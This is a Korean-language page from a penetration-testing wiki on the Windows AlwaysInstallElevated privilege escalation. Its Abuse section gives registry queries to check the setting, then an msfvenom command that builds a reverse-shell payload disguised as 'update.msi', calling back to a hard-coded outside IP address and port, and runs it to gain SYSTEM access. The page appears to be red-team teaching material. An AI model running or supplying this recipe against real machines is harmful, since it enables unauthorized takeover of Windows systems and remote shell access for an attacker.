> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/privilege-escalation/windows/always-install-elevated.md).

# Always Install Elevated

msi는 Windows Installer가 사용하는 설치 패키지 확장 파일입니다. 레지스트리 키 중에서는 msi를 통해서 패키지를 다운로드 할 때, 항상 시스템 권한으로 다운로드 하도록 지정할 수 있는 값이 있습니다.

시스템에서 해당 레지스트리가 모두 활성화 된 상태라면, 공격자는 악성 코드를 msi 확장자로 전달 후 실행했을 때, 시스템 권한을 획득합니다.

## Abuse

<pre class="language-powershell"><code class="lang-powershell"><strong># 레지스트리 값 확인
</strong>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 

<strong># msi 파일 생성 및 실행
</strong>msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=222.112.24.168 LPORT=10002 -f msi -o update.msi
.\update.msi
</code></pre>

## Demo

<figure><img src="/files/L0px9mUnvRvTEelEFSoc" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://dmcxblue.gitbook.io/red-team-notes/privesc/unquoted-service-path>" %}
